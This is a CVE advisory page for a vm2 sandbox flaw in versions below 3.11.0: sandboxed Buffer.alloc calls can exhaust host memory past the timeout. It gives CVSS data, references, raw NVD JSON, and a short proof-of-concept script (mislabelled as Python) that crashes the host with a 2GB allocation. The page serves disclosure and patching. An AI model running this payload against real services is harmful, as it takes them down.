CVE-2026-44004

Description

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE

vm2 < 3.11.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const {VM} = require('vm2');

console.log('Starting PoC for CVE-2026-44004...');

const vm = new VM({
    timeout: 1000, // Set a 1 second timeout
    sandbox: {}
});

// Malicious code to exhaust memory
// Buffer.alloc with a huge size cannot be interrupted by the VM timeout
const maliciousCode = `
    console.log('Allocating memory...');
    // Attempt to allocate a very large amount of memory (e.g., 2GB)
    // This causes the host to run out of memory and crash
    Buffer.alloc(1024 * 1024 * 1024 * 2); 
    console.log('Allocation complete');
`;

try {
    vm.run(maliciousCode);
} catch (e) {
    console.error('VM Error (expected if not crashing):', e);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44004
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44004
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44004/
[4] VulDB https://vuldb.com/cve/CVE-2026-44004
[5] https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7
[6] https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44004", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:17.123", "lastModified": "2026-05-14T15:22:06.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.11.0", "matchCriteriaId": "6DD48308-6219-4C66-9BE7-246EE56FB834"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}